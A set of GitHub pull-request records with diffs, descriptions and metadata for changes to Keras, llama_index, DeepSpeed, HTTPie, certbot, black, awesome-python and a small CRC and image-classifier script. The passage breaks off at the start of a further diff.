diff --git a/keras/backend/theano_backend.py b/keras/backend/theano_backend.py index b8d8070b5e2..03696f9f4a9 100644 --- a/keras/backend/theano_backend.py +++ b/keras/backend/theano_backend.py @@ -350,7 +350,6 @@ def batch_dot(x, y, axes=None): output_shape = (100, 30) """ - # TODO: `keras_shape` inference. if isinstance(axes, int): axes = (axes, axes) if axes is None: @@ -359,12 +358,26 @@ def batch_dot(x, y, axes=None): out = T.batched_tensordot(x, y, axes=axes) if ndim(out) == 1: out = expand_dims(out, 1) + + if hasattr(x, '_keras_shape') and hasattr(y, '_keras_shape'): + shape = [] + for axis in range(len(x._keras_shape)): + if axis != axes[0]: + shape.append(x._keras_shape[axis]) + for axis in range(1, len(y._keras_shape)): + if axis != axes[1]: + shape.append(y._keras_shape[axis]) + if len(shape) == 1: + shape.append(1) # Expand dims if ndim == 1 + out._keras_shape = tuple(shape) return out def transpose(x): - # TODO: `keras_shape` inference. - return T.transpose(x) + y = T.transpose(x) + if hasattr(x, '_keras_shape'): + y._keras_shape = tuple(reversed(x._keras_shape)) + return y def gather(reference, indices): @@ -671,9 +684,11 @@ def permute_dimensions(x, pattern): pattern should be a tuple or list of dimension indices, e.g. [0, 2, 1]. """ - # TODO: `keras_shape` inference. pattern = tuple(pattern) - return x.dimshuffle(pattern) + y = x.dimshuffle(pattern) + if hasattr(x, '_keras_shape'): + y._keras_shape = tuple(np.asarray(x._keras_shape)[list(pattern)]) + return y def repeat_elements(x, rep, axis): @@ -682,8 +697,12 @@ def repeat_elements(x, rep, axis): If x has shape (s1, s2, s3) and axis=1, the output will have shape (s1, s2 * rep, s3). """ - # TODO: `keras_shape` inference. - return T.repeat(x, rep, axis=axis) + y = T.repeat(x, rep, axis=axis) + if hasattr(x, '_keras_shape'): + y._keras_shape = list(x._keras_shape) + y._keras_shape[axis] = x._keras_shape[axis] * rep + y._keras_shape = tuple(y._keras_shape) + return y def resize_images(X, height_factor, width_factor, data_format): @@ -693,7 +712,6 @@ def resize_images(X, height_factor, width_factor, data_format): by a factor of (height_factor, width_factor). Both factors should be positive integers. """ - # TODO: `keras_shape` inference. if data_format == 'channels_first': output = repeat_elements(X, height_factor, axis=2) output = repeat_elements(output, width_factor, axis=3) @@ -713,7 +731,6 @@ def resize_volumes(X, depth_factor, height_factor, width_factor, data_format): by a factor of (depth_factor, height_factor, width_factor). Both factors should be positive integers. """ - # TODO: `keras_shape` inference. if data_format == 'channels_first': output = repeat_elements(X, depth_factor, axis=2) output = repeat_elements(output, height_factor, axis=3) @@ -734,10 +751,15 @@ def repeat(x, n): If x has shape (samples, dim) and n=2, the output will have shape (samples, 2, dim). """ - # TODO: `keras_shape` inference. assert x.ndim == 2 - x = x.dimshuffle((0, 'x', 1)) - return T.extra_ops.repeat(x, n, axis=1) + y = x.dimshuffle((0, 'x', 1)) + y = T.extra_ops.repeat(y, n, axis=1) + if hasattr(x, '_keras_shape'): + shape = list(x._keras_shape) + shape.insert(1, n) + y._keras_shape = tuple(shape) + + return y def arange(start, stop=None, step=1, dtype='int32'): @@ -759,23 +781,25 @@ def tile(x, n): def flatten(x): - # TODO: `keras_shape` inference. - return T.flatten(x) + y = T.flatten(x) + if hasattr(x, '_keras_shape'): + y._keras_shape = (np.prod(x._keras_shape), ) + return y def batch_flatten(x): """Turn a n-D tensor into a 2D tensor where the first dimension is conserved. """ - # TODO: `keras_shape` inference. - x = T.reshape(x, (x.shape[0], T.prod(x.shape) // x.shape[0])) - return x + y = T.reshape(x, (x.shape[0], T.prod(x.shape[1:]))) + if hasattr(x, '_keras_shape'): + y._keras_shape = (x._keras_shape[0], np.prod(x._keras_shape[1:])) + return y def expand_dims(x, axis=-1): """Add a 1-sized dimension at index "dim". """ - # TODO: `keras_shape` inference. pattern = [i for i in range(x.type.ndim)] if axis < 0: if x.type.ndim == 0: @@ -783,16 +807,25 @@ def expand_dims(x, axis=-1): else: axis = axis % x.type.ndim + 1 pattern.insert(axis, 'x') - return x.dimshuffle(pattern) + y = x.dimshuffle(pattern) + if hasattr(x, '_keras_shape'): + shape = list(x._keras_shape) + shape.insert(axis, 1) + y._keras_shape = tuple(shape) + return y def squeeze(x, axis): """Remove a 1-dimension from the tensor at index "axis". """ - # TODO: `keras_shape` inference. shape = list(x.shape) shape.pop(axis) - return T.reshape(x, tuple(shape)) + y = T.reshape(x, tuple(shape)) + if hasattr(x, '_keras_shape'): + kshape = list(x._keras_shape) + kshape.pop(axis) + y._keras_shape = tuple(kshape) + return y def temporal_padding(x, padding=(1, 1)): @@ -820,7 +853,6 @@ def spatial_2d_padding(x, padding=((1, 1), (1, 1)), data_format=None): """Pad the 2nd and 3rd dimensions of a 4D tensor with "padding[0]" and "padding[1]" (resp.) zeros left and right. """ - # TODO: `keras_shape` inference. assert len(padding) == 2 assert len(padding[0]) == 2 assert len(padding[1]) == 2 @@ -855,7 +887,9 @@ def spatial_2d_padding(x, padding=((1, 1), (1, 1)), data_format=None): slice(None)) else: raise ValueError('Invalid data_format:', data_format) - return T.set_subtensor(output[indices], x) + y = T.set_subtensor(output[indices], x) + y._keras_shape = output_shape + return y def spatial_3d_padding(x, padding=((1, 1), (1, 1), (1, 1)), data_format=None): diff --git a/tests/keras/backend/backend_test.py b/tests/keras/backend/backend_test.py index 59f3e456d0f..e633104d9cb 100644 --- a/tests/keras/backend/backend_test.py +++ b/tests/keras/backend/backend_test.py @@ -21,11 +21,14 @@ def check_single_tensor_operation(function_name, input_shape, **kwargs): xth = KTH.variable(val) xtf = KTF.variable(val) - zth = KTH.eval(getattr(KTH, function_name)(xth, **kwargs)) + _zth = getattr(KTH, function_name)(xth, **kwargs) + zth = KTH.eval(_zth) ztf = KTF.eval(getattr(KTF, function_name)(xtf, **kwargs)) assert zth.shape == ztf.shape assert_allclose(zth, ztf, atol=1e-05) + if hasattr(_zth, '_keras_shape'): + assert _zth._keras_shape == zth.shape def check_two_tensor_operation(function_name, x_input_shape, @@ -40,11 +43,14 @@ def check_two_tensor_operation(function_name, x_input_shape, yth = KTH.variable(yval) ytf = KTF.variable(yval) - zth = KTH.eval(getattr(KTH, function_name)(xth, yth, **kwargs)) + _zth = getattr(KTH, function_name)(xth, yth, **kwargs) + zth = KTH.eval(_zth) ztf = KTF.eval(getattr(KTF, function_name)(xtf, ytf, **kwargs)) assert zth.shape == ztf.shape assert_allclose(zth, ztf, atol=1e-05) + if hasattr(_zth, '_keras_shape'): + assert _zth._keras_shape == zth.shape def check_composed_tensor_operations(first_function_name, first_function_args, @@ -116,6 +122,7 @@ def test_shape_operations(self): pattern=(2, 0, 1)) check_single_tensor_operation('repeat', (4, 1), n=3) check_single_tensor_operation('flatten', (4, 1)) + check_single_tensor_operation('batch_flatten', (20, 2, 5)) check_single_tensor_operation('expand_dims', (4, 3), axis=-1) check_single_tensor_operation('expand_dims', (4, 3, 2), axis=1) check_single_tensor_operation('squeeze', (4, 3, 1), axis=2) @@ -134,8 +141,8 @@ def test_repeat_elements(self): for rep_axis in range(ndims): np_rep = np.repeat(arr, reps, axis=rep_axis) - th_rep = KTH.eval( - KTH.repeat_elements(arr_th, reps, axis=rep_axis)) + th_z = KTH.repeat_elements(arr_th, reps, axis=rep_axis) + th_rep = KTH.eval(th_z) tf_rep = KTF.eval( KTF.repeat_elements(arr_tf, reps, axis=rep_axis)) @@ -143,6 +150,8 @@ def test_repeat_elements(self): assert tf_rep.shape == np_rep.shape assert_allclose(np_rep, th_rep, atol=1e-05) assert_allclose(np_rep, tf_rep, atol=1e-05) + if hasattr(th_z, '_keras_shape'): + assert th_z._keras_shape == th_rep.shape def test_tile(self): shape = (3, 4) @@ -151,9 +160,12 @@ def test_tile(self): arr_tf = KTF.variable(arr) n = (2, 1) - th_rep = KTH.eval(KTH.tile(arr_th, n)) + th_z = KTH.tile(arr_th, n) + th_rep = KTH.eval(th_z) tf_rep = KTF.eval(KTF.tile(arr_tf, n)) assert_allclose(tf_rep, th_rep, atol=1e-05) + if hasattr(th_z, '_keras_shape'): + assert th_z._keras_shape == th_rep.shape def test_value_manipulation(self): val = np.random.random((4, 2))
Shape inferences added | Op |Test coverage| |-----------------|:-----------------:| | `flatten` | :heavy_check_mark: | | `repeat_elements` | :heavy_check_mark: | | `batch_flatten` | :heavy_check_mark: | | `squeeze` | :heavy_check_mark: | | `permute_dimensions` | :heavy_check_mark: | | `repeat` | :heavy_check_mark: | | `expand_dims` | :heavy_check_mark: | | `spatial_2d_pooling` | |`transpose`|:heavy_check_mark: | |`batch_dot`|:heavy_check_mark: | The original PR was at https://github.com/fchollet/keras/pull/5610. The suggested changes have been fixed. Had to remove shape inference for `tile` due to certain issues (still working on it)
https://api.github.com/repos/keras-team/keras/pulls/5618
2017-03-06T16:51:28Z
2017-03-07T00:52:56Z
2017-03-07T00:52:55Z
2017-03-16T17:15:30Z
2,839
keras-team/keras
46,983
[feature] Accumulator response builder
diff --git a/docs/guides/primer/usage_pattern.md b/docs/guides/primer/usage_pattern.md index bdd30446aebd2..109d29add66c0 100644 --- a/docs/guides/primer/usage_pattern.md +++ b/docs/guides/primer/usage_pattern.md @@ -330,13 +330,17 @@ query_engine = RetrieverQueryEngine.from_args(retriever, response_mode=<response Right now, we support the following options: - `default`: "create and refine" an answer by sequentially going through each retrieved `Node`; - This make a separate LLM call per Node. Good for more detailed answers. + This makes a separate LLM call per Node. Good for more detailed answers. - `compact`: "compact" the prompt during each LLM call by stuffing as many `Node` text chunks that can fit within the maximum prompt size. If there are too many chunks to stuff in one prompt, "create and refine" an answer by going through multiple prompts. - `tree_summarize`: Given a set of `Node` objects and the query, recursively construct a tree and return the root node as the response. Good for summarization purposes. +- `accumulate`: Given a set of `Node` objects and the query, apply the query to each `Node` text + chunk while accumulating the responses into an array. Returns a concatenated string of all + responses. Good for when you need to run the same query separately against each text + chunk. ```python index = GPTListIndex.from_documents(documents) diff --git a/llama_index/indices/response/response_builder.py b/llama_index/indices/response/response_builder.py index 124c6df56d9da..e18a423a6eebb 100644 --- a/llama_index/indices/response/response_builder.py +++ b/llama_index/indices/response/response_builder.py @@ -9,7 +9,17 @@ """ from abc import ABC, abstractmethod import logging -from typing import Any, Dict, Generator, List, Optional, Sequence, Tuple, cast +from typing import ( + Any, + Dict, + Generator, + List, + Optional, + Sequence, + Tuple, + cast, +) +import asyncio from llama_index.data_structs.data_structs import IndexGraph from llama_index.data_structs.node import Node @@ -33,6 +43,7 @@ from llama_index.token_counter.token_counter import llm_token_counter from llama_index.types import RESPONSE_TEXT_TYPE from llama_index.utils import temp_set_attrs +from llama_index.async_utils import run_async_tasks logger = logging.getLogger(__name__) @@ -576,6 +587,107 @@ def get_response( return stream_response +class Accumulate(BaseResponseBuilder): + def __init__( + self, + service_context: ServiceContext, + text_qa_template: QuestionAnswerPrompt, + streaming: bool = False, + use_async: bool = False, + ) -> None: + super().__init__(service_context=service_context, streaming=streaming) + self.text_qa_template = text_qa_template + self._use_async = use_async + + def flatten_list(self, md_array: List[List[Any]]) -> List[Any]: + return list(item for sublist in md_array for item in sublist) + + def format_response(self, outputs: List[Any], separator: str) -> str: + responses: List[str] = [] + for response, formatted_prompt in outputs: + self._log_prompt_and_response( + formatted_prompt, response, log_prefix="Initial" + ) + responses.append(response or "Empty Response") + + return separator.join( + [f"Response {index + 1}: {item}" for index, item in enumerate(responses)] + ) + + @llm_token_counter("aget_response") + async def aget_response( + self, + query_str: str, + text_chunks: Sequence[str], + separator: str = "\n---------------------\n", + **kwargs: Any, + ) -> RESPONSE_TEXT_TYPE: + """Apply the same prompt to text chunks and return async responses""" + + if self._streaming: + raise ValueError("Unable to stream in Accumulate response mode") + + tasks = [ + self._give_responses(query_str, text_chunk, use_async=True) + for text_chunk in text_chunks + ] + + flattened_tasks = self.flatten_list(tasks) + outputs = await asyncio.gather(*flattened_tasks) + + return self.format_response(outputs, separator) + + @llm_token_counter("get_response") + def get_response( + self, + query_str: str, + text_chunks: Sequence[str], + separator: str = "\n---------------------\n", + ) -> RESPONSE_TEXT_TYPE: + """Apply the same prompt to text chunks and return responses""" + + if self._streaming: + raise ValueError("Unable to stream in Accumulate response mode") + + tasks = [ + self._give_responses(query_str, text_chunk, use_async=self._use_async) + for text_chunk in text_chunks + ] + + outputs = self.flatten_list(tasks) + + if self._use_async: + outputs = run_async_tasks(outputs) + + return self.format_response(outputs, separator) + + def _give_responses( + self, query_str: str, text_chunk: str, use_async: bool = False + ) -> List[Any]: + """Give responses given a query and a corresponding text chunk.""" + text_qa_template = self.text_qa_template.partial_format(query_str=query_str) + qa_text_splitter = ( + self._service_context.prompt_helper.get_text_splitter_given_prompt( + text_qa_template, 1 + ) + ) + text_chunks = qa_text_splitter.split_text(text_chunk) + + predictor = ( + self._service_context.llm_predictor.apredict + if use_async + else self._service_context.llm_predictor.predict + ) + + return [ + predictor( + text_qa_template, + context_str=cur_text_chunk, + ) + for cur_text_chunk in text_chunks + ] + + def get_response_builder( service_context: ServiceContext, text_qa_template: Optional[QuestionAnswerPrompt] = None, @@ -622,5 +734,12 @@ def get_response_builder( simple_template=simple_template, streaming=streaming, ) + elif mode == ResponseMode.ACCUMULATE: + return Accumulate( + service_context=service_context, + text_qa_template=text_qa_template, + streaming=streaming, + use_async=use_async, + ) else: raise ValueError(f"Unknown mode: {mode}") diff --git a/llama_index/indices/response/type.py b/llama_index/indices/response/type.py index f0d283a584a50..ebc7f84c1e327 100644 --- a/llama_index/indices/response/type.py +++ b/llama_index/indices/response/type.py @@ -10,3 +10,4 @@ class ResponseMode(str, Enum): TREE_SUMMARIZE = "tree_summarize" GENERATION = "generation" NO_TEXT = "no_text" + ACCUMULATE = "accumulate" diff --git a/tests/indices/response/test_response_builder.py b/tests/indices/response/test_response_builder.py index cef8cb56057bd..f3b5bab88cc3e 100644 --- a/tests/indices/response/test_response_builder.py +++ b/tests/indices/response/test_response_builder.py @@ -1,5 +1,6 @@ """Test response utils.""" +import asyncio from typing import List from llama_index.constants import MAX_CHUNK_OVERLAP, MAX_CHUNK_SIZE, NUM_OUTPUTS @@ -134,3 +135,160 @@ def test_tree_summarize_response(mock_service_context: ServiceContext) -> None: ) # TODO: fix this output, the \n join appends unnecessary results at the end assert str(response) == "What is?:This:is:a:bar:This:is:another:test" + + +def test_accumulate_response( + mock_service_context: ServiceContext, + documents: List[Document], +) -> None: + """Test accumulate response.""" + # test response with ResponseMode.ACCUMULATE + # NOTE: here we want to guarante that prompts have 0 extra tokens + mock_qa_prompt_tmpl = "{context_str}{query_str}" + mock_qa_prompt = QuestionAnswerPrompt(mock_qa_prompt_tmpl) + + # max input size is 11, prompt is two tokens (the query) --> 9 tokens + # --> padding is 1 --> 8 tokens + prompt_helper = PromptHelper( + 11, 0, 0, tokenizer=mock_tokenizer, separator="\n\n", chunk_size_limit=4 + ) + service_context = mock_service_context + service_context.prompt_helper = prompt_helper + cur_chunk_size = prompt_helper.get_chunk_size_given_prompt("", 1, padding=1) + # outside of compact, assert that chunk size is 4 + assert cur_chunk_size == 4 + + # within compact, make sure that chunk size is 8 + query_str = "What is?" + texts = [ + "This\nis\nbar", + "This\nis\nfoo", + ] + builder = get_response_builder( + service_context=service_context, + text_qa_template=mock_qa_prompt, + mode=ResponseMode.ACCUMULATE, + ) + + response = builder.get_response(text_chunks=texts, query_str=query_str) + expected = ( + "Response 1: What is?:This\n" + "---------------------\n" + "Response 2: What is?:is\n" + "---------------------\n" + "Response 3: What is?:bar\n" + "---------------------\n" + "Response 4: What is?:This\n" + "---------------------\n" + "Response 5: What is?:is\n" + "---------------------\n" + "Response 6: What is?:foo" + ) + assert str(response) == expected + + +def test_accumulate_response_async( + mock_service_context: ServiceContext, + documents: List[Document], +) -> None: + """Test accumulate response.""" + # test response with ResponseMode.ACCUMULATE + # NOTE: here we want to guarante that prompts have 0 extra tokens + mock_qa_prompt_tmpl = "{context_str}{query_str}" + mock_qa_prompt = QuestionAnswerPrompt(mock_qa_prompt_tmpl) + + # max input size is 11, prompt is two tokens (the query) --> 9 tokens + # --> padding is 1 --> 8 tokens + prompt_helper = PromptHelper( + 11, 0, 0, tokenizer=mock_tokenizer, separator="\n\n", chunk_size_limit=4 + ) + service_context = mock_service_context + service_context.prompt_helper = prompt_helper + cur_chunk_size = prompt_helper.get_chunk_size_given_prompt("", 1, padding=1) + # outside of compact, assert that chunk size is 4 + assert cur_chunk_size == 4 + + # within compact, make sure that chunk size is 8 + query_str = "What is?" + texts = [ + "This\nis\nbar", + "This\nis\nfoo", + ] + builder = get_response_builder( + service_context=service_context, + text_qa_template=mock_qa_prompt, + mode=ResponseMode.ACCUMULATE, + use_async=True, + ) + + response = builder.get_response(text_chunks=texts, query_str=query_str) + expected = ( + "Response 1: What is?:This\n" + "---------------------\n" + "Response 2: What is?:is\n" + "---------------------\n" + "Response 3: What is?:bar\n" + "---------------------\n" + "Response 4: What is?:This\n" + "---------------------\n" + "Response 5: What is?:is\n" + "---------------------\n" + "Response 6: What is?:foo" + ) + assert str(response) == expected + + +def test_accumulate_response_aget( + mock_service_context: ServiceContext, + documents: List[Document], +) -> None: + """Test accumulate response.""" + # test response with ResponseMode.ACCUMULATE + # NOTE: here we want to guarante that prompts have 0 extra tokens + mock_qa_prompt_tmpl = "{context_str}{query_str}" + mock_qa_prompt = QuestionAnswerPrompt(mock_qa_prompt_tmpl) + + # max input size is 11, prompt is two tokens (the query) --> 9 tokens + # --> padding is 1 --> 8 tokens + prompt_helper = PromptHelper( + 11, 0, 0, tokenizer=mock_tokenizer, separator="\n\n", chunk_size_limit=4 + ) + service_context = mock_service_context + service_context.prompt_helper = prompt_helper + cur_chunk_size = prompt_helper.get_chunk_size_given_prompt("", 1, padding=1) + # outside of compact, assert that chunk size is 4 + assert cur_chunk_size == 4 + + # within compact, make sure that chunk size is 8 + query_str = "What is?" + texts = [ + "This\nis\nbar", + "This\nis\nfoo", + ] + builder = get_response_builder( + service_context=service_context, + text_qa_template=mock_qa_prompt, + mode=ResponseMode.ACCUMULATE, + ) + + response = asyncio.run( + builder.aget_response( + text_chunks=texts, + query_str=query_str, + separator="\nWHATEVER~~~~~~\n", + ) + ) + expected = ( + "Response 1: What is?:This\n" + "WHATEVER~~~~~~\n" + "Response 2: What is?:is\n" + "WHATEVER~~~~~~\n" + "Response 3: What is?:bar\n" + "WHATEVER~~~~~~\n" + "Response 4: What is?:This\n" + "WHATEVER~~~~~~\n" + "Response 5: What is?:is\n" + "WHATEVER~~~~~~\n" + "Response 6: What is?:foo" + ) + assert str(response) == expected
The current response builders don't offer a way to accumulate new responses from each chunk of text. Refine, for example, is meant for iterating over chunks and modifying the answer with each iteration until you end up with 1 answer. Being able to accumulate responses allows people (like me) to use a prompt like "Summarize this text" and generate multiple summaries, 1 for each chunk. Example: ``` query_engine = RetrieverQueryEngine.from_args( retriever=retriever, service_context=service_context, node_postprocessors=[ SimilarityPostprocessor(similarity_cutoff=0.7) ], text_qa_template=QA_PROMPT, response_mode='accumulate' ) ``` **NOTE:** This response builder does not work for streaming (and will fail with an error saying so if you try). In order to get streaming working, I think we'd have to make it possible for `get_response` to return an array of generators which would probably break other consumers? Happy to discuss solutions though.
https://api.github.com/repos/run-llama/llama_index/pulls/3392
2023-05-16T19:40:18Z
2023-05-18T19:57:51Z
2023-05-18T19:57:51Z
2023-05-18T19:57:51Z
3,357
run-llama/llama_index
6,795
Ulysses: Update README.md
diff --git a/blogs/deepspeed-ulysses/README.md b/blogs/deepspeed-ulysses/README.md index 314787dc1abe..7ea7a4535e90 100644 --- a/blogs/deepspeed-ulysses/README.md +++ b/blogs/deepspeed-ulysses/README.md @@ -10,7 +10,7 @@ </div> -To cite DeepSpeed-Ulysses, please cite our [arxiv report](https://arxiv.org/abs/2309.14327): +To cite DeepSpeed-Ulysses, please cite our [arxiv report](https://arxiv.org/abs/2309.14509): ``` @article{jacobs2023deepspeed,
Fix arxiv link
https://api.github.com/repos/microsoft/DeepSpeed/pulls/4518
2023-10-16T18:13:25Z
2023-10-16T18:16:16Z
2023-10-16T18:16:16Z
2023-10-16T18:16:20Z
172
microsoft/DeepSpeed
10,046
Print info about request on error
diff --git a/httpie/core.py b/httpie/core.py index 95f53abd55..1660b93bc8 100644 --- a/httpie/core.py +++ b/httpie/core.py @@ -67,7 +67,7 @@ def decode_args(args, stdin_encoding): ] -def main(args=sys.argv[1:], env=Environment()): +def main(args=sys.argv[1:], env=Environment(), error=None): """Run the main program and write the output to ``env.stdout``. Return exit status code. @@ -81,11 +81,14 @@ def main(args=sys.argv[1:], env=Environment()): if env.config.default_options: args = env.config.default_options + args - def error(msg, *args, **kwargs): + def _error(msg, *args, **kwargs): msg = msg % args level = kwargs.get('level', 'error') env.stderr.write('\nhttp: %s: %s\n' % (level, msg)) + if error is None: + error = _error + debug = '--debug' in args traceback = debug or '--traceback' in args exit_status = ExitStatus.OK @@ -183,7 +186,13 @@ def error(msg, *args, **kwargs): # Network errors vs. bugs, etc. if traceback: raise - error('%s: %s', type(e).__name__, str(e)) + msg = str(e) + if hasattr(e, 'request'): + request = e.request + if hasattr(request, 'url'): + msg += ' while doing %s request to URL: %s' % ( + request.method, request.url) + error('%s: %s', type(e).__name__, msg) exit_status = ExitStatus.ERROR finally: diff --git a/requirements-dev.txt b/requirements-dev.txt index 16fcc9cb45..9e132deba4 100644 --- a/requirements-dev.txt +++ b/requirements-dev.txt @@ -1,4 +1,5 @@ tox +mock pytest pytest-cov pytest-httpbin diff --git a/tests/test_errors.py b/tests/test_errors.py new file mode 100644 index 0000000000..1d7cf24c82 --- /dev/null +++ b/tests/test_errors.py @@ -0,0 +1,48 @@ +import mock +from pytest import raises +from requests import Request, Timeout +from requests.exceptions import ConnectionError + +from httpie.core import main + +error_msg = None + + +@mock.patch('httpie.core.get_response') +def test_error(get_response): + def error(msg, *args, **kwargs): + global error_msg + error_msg = msg % args + + exc = ConnectionError('Connection aborted') + exc.request = Request(method='GET', url='http://www.google.com') + get_response.side_effect = exc + ret = main(['--ignore-stdin', 'www.google.com'], error=error) + assert ret == 1 + assert error_msg == ( + 'ConnectionError: ' + 'Connection aborted while doing GET request to URL: ' + 'http://www.google.com') + + +@mock.patch('httpie.core.get_response') +def test_error_traceback(get_response): + exc = ConnectionError('Connection aborted') + exc.request = Request(method='GET', url='http://www.google.com') + get_response.side_effect = exc + with raises(ConnectionError): + ret = main(['--ignore-stdin', '--traceback', 'www.google.com']) + + +@mock.patch('httpie.core.get_response') +def test_timeout(get_response): + def error(msg, *args, **kwargs): + global error_msg + error_msg = msg % args + + exc = Timeout('Request timed out') + exc.request = Request(method='GET', url='http://www.google.com') + get_response.side_effect = exc + ret = main(['--ignore-stdin', 'www.google.com'], error=error) + assert ret == 2 + assert error_msg == 'Request timed out (30s).'
This can help in diagnosing certain issues. For example, if I were trying to use a "http+unix" URL but I don't have #299, then I'll get the following: ``` [marca@marca-mac2 httpie]$ http http+unix://%2Ftmp%2Fprofilesvc.sock/status/pid http: error: ConnectionError: ('Connection aborted.', gaierror(8, 'nodename nor servname provided, or not known')) while doing GET request to URL: http://http+unix//%2Ftmp%2Fprofilesvc.sock/status/pid ``` Having the URL in the error message is super useful here so that I know an extra `http://` is getting prepended and it's not doing what I expected.
https://api.github.com/repos/httpie/cli/pulls/300
2015-02-04T18:37:34Z
2015-03-25T21:21:18Z
2015-03-25T21:21:18Z
2015-03-25T21:21:46Z
941
httpie/cli
33,923
Fix egg-info cleanup
diff --git a/tools/pinning/common/export-pinned-dependencies.sh b/tools/pinning/common/export-pinned-dependencies.sh index 69c55fbbf9c..be6f0aa4ef3 100755 --- a/tools/pinning/common/export-pinned-dependencies.sh +++ b/tools/pinning/common/export-pinned-dependencies.sh @@ -29,7 +29,7 @@ fi # Old eggs can cause outdated dependency information to be used by poetry so we # delete them before generating the lock file. See # https://github.com/python-poetry/poetry/issues/4103 for more info. -rm -rf ${REPO_ROOT}/*.egg-info +rm -rf ${REPO_ROOT}/*/*.egg-info cd "${WORK_DIR}"
In https://github.com/certbot/certbot/pull/8934 I changed: ``` # Old eggs can cause outdated dependency information to be used by poetry so we # delete them before generating the lock file. See # https://github.com/python-poetry/poetry/issues/4103 for more info. cd "${REPO_ROOT}" rm -rf */*.egg-info ``` in the deleted `tools/pinning/pin.sh` script to ``` # Old eggs can cause outdated dependency information to be used by poetry so we # delete them before generating the lock file. See # https://github.com/python-poetry/poetry/issues/4103 for more info. rm -rf ${REPO_ROOT}/*.egg-info ``` in `tools/pinning/common/export-pinned-dependencies.sh`. This wasn't right.
https://api.github.com/repos/certbot/certbot/pulls/8966
2021-08-03T00:15:42Z
2021-08-04T21:04:06Z
2021-08-04T21:04:06Z
2021-08-04T21:04:06Z
167
certbot/certbot
3,049
Rename feedly
diff --git a/README.md b/README.md index 97459e17e..665515bbb 100644 --- a/README.md +++ b/README.md @@ -528,7 +528,7 @@ A curated list of awesome Python frameworks, libraries and software. Inspired by *Libraries for building user's activities.* -* [Feedly](https://github.com/tschellenbach/Feedly) - A library to build newsfeed and notification systems using Cassandra and Redis. +* [Stream Framework (previously Feedly)](https://github.com/tschellenbach/Stream-Framework) - A library to build newsfeed and notification systems using Cassandra and Redis. * [django-activity-stream](https://github.com/justquick/django-activity-stream) - Generate generic activity streams from the actions on your site. ## Asset Management @@ -656,6 +656,7 @@ A curated list of awesome Python frameworks, libraries and software. Inspired by * [Schematics](https://github.com/schematics/schematics) - Data Structure Validation. * [kmatch](https://github.com/ambitioninc/kmatch) - A language for matching/validating/filtering Python dictionaries. * [valideer](https://github.com/podio/valideer) - Lightweight extensible data validation and adaptation library. +* [cerberus](https://github.com/nicolaiarocci/cerberus) - Extensible validation for Python dictionaries. ## Anti-spam
1.0.0 release of Feedly has been rename to Stream Framework
https://api.github.com/repos/vinta/awesome-python/pulls/268
2014-11-24T11:02:02Z
2014-11-24T11:48:50Z
2014-11-24T11:48:50Z
2014-11-24T11:48:51Z
324
vinta/awesome-python
27,276
Disable pandas while we look into #2193
diff --git a/src/black_primer/primer.json b/src/black_primer/primer.json index 137d075c68e..78c1e2acdef 100644 --- a/src/black_primer/primer.json +++ b/src/black_primer/primer.json @@ -53,6 +53,8 @@ "py_versions": ["all"] }, "pandas": { + "disabled_reason": "black-primer runs failing on Pandas - #2193", + "disabled": true, "cli_arguments": [], "expect_formatting_changes": true, "git_clone_url": "https://github.com/pandas-dev/pandas.git",
https://api.github.com/repos/psf/black/pulls/2195
2021-05-04T19:42:26Z
2021-05-04T19:49:20Z
2021-05-04T19:49:20Z
2021-07-14T03:36:25Z
147
psf/black
23,960
Adding Cyclic Redundancy Check Algorithm
diff --git a/CRC/crc.py b/CRC/crc.py new file mode 100644 index 0000000000..27e6cc6f0e --- /dev/null +++ b/CRC/crc.py @@ -0,0 +1,49 @@ +def crc_check(data,div): + l=len(div) + ct=0 + data=[int(i) for i in data] + div=[int(i) for i in div] + zero=[0 for i in range(l)] + temp_data=[data[i] for i in range(l)] + result=[] + for j in range(len(data)-len(div)+1): + print("Temp_dividend",temp_data) + msb=temp_data[0] + if msb==0: + result.append(0) + for i in range(l-1,-1,-1): + temp_data[i]=temp_data[i] ^ zero[i] + else: + result.append(1) + for i in range(l-1,-1,-1): + temp_data[i]=temp_data[i] ^ div[i] + temp_data.pop(0) + if (l+j<len(data)): + temp_data.append(data[l+j]) + crc=temp_data + print("Quotient: ",result,"remainder",crc) + return crc + +while 1>0: + print("Enter data: ") + data=input() + print("Enter divisor") + div=input() + original_data=data + data=data+("0"*(len(div)-1)) + crc=crc_check(data,div) + crc_str="" + for i in range(len(crc)): + crc_str+=str(crc[i]) + print("Sent data: ",original_data+crc_str) + sent_data=original_data+crc_str + print("If again applying CRC algorithm, the remainder/CRC must be zero if errorless.") + crc=crc_check(sent_data,div) + remainder=crc + print("Receiver side remainder: ",remainder) + print("Continue [Y/N]:") + ch=input() + if ch=='N' or ch=='n': + break + else: + continue diff --git a/Classification_human_orr_horse.py b/Classification_human_orr_horse.py new file mode 100644 index 0000000000..b4844b1d87 --- /dev/null +++ b/Classification_human_orr_horse.py @@ -0,0 +1,46 @@ +import tensorflow as tf +from tensorflow import keras +import pickle +model=tf.keras.models.Sequential([tf.keras.layers.Conv2D(16,(3,3),activation='relu',input_shape=(200,200,3)), + tf.keras.layers.MaxPooling2D(2,2), + tf.keras.layers.Conv2D(16,(3,3),activation='relu'), + tf.keras.layers.MaxPooling2D(2,2), + tf.keras.layers.Conv2D(16,(3,3),activation='relu'), + tf.keras.layers.MaxPooling2D(2,2), + tf.keras.layers.Flatten(), + tf.keras.layers.Dense(512,activation='relu'), + tf.keras.layers.Dense(1,activation="sigmoid") + ]) +model.summary() +from tensorflow.keras.optimizers import RMSprop +model.compile(optimizer=RMSprop(lr=0.001),loss='binary_crossentropy',metrics=['acc']) +from tensorflow.keras.preprocessing.image import ImageDataGenerator +train_datagen=ImageDataGenerator(rescale=1/255) +train_generator=train_datagen.flow_from_directory('E:/ARYAN/Desktop/python_tensorflow/Classification_human-or-horse', + target_size=(200,200), + batch_size=222, + class_mode='binary') +model.fit_generator(train_generator,steps_per_epoch=6,epochs=1,verbose=1) +filename="myTf1.sav" +pickle.dump(model,open(filename,'wb')) + +from tkinter import Tk +from tkinter.filedialog import askopenfilename +from keras.preprocessing import image +import numpy as np +import cv2 + +Tk().withdraw() +filename = askopenfilename() +print(filename) +img = image.load_img(filename, target_size=(200, 200)) +x = image.img_to_array(img) +x = np.expand_dims(x, axis=0) +images = np.vstack([x]) +classes = model.predict(images, batch_size=10) +print(classes[0]) +if classes[0]>0.5: + print(filename + " is a human") +else: + print(filename + " is a horse") + diff --git a/alexa_news_headlines.py b/alexa_news_headlines.py new file mode 100644 index 0000000000..2d7f9638f0 --- /dev/null +++ b/alexa_news_headlines.py @@ -0,0 +1,45 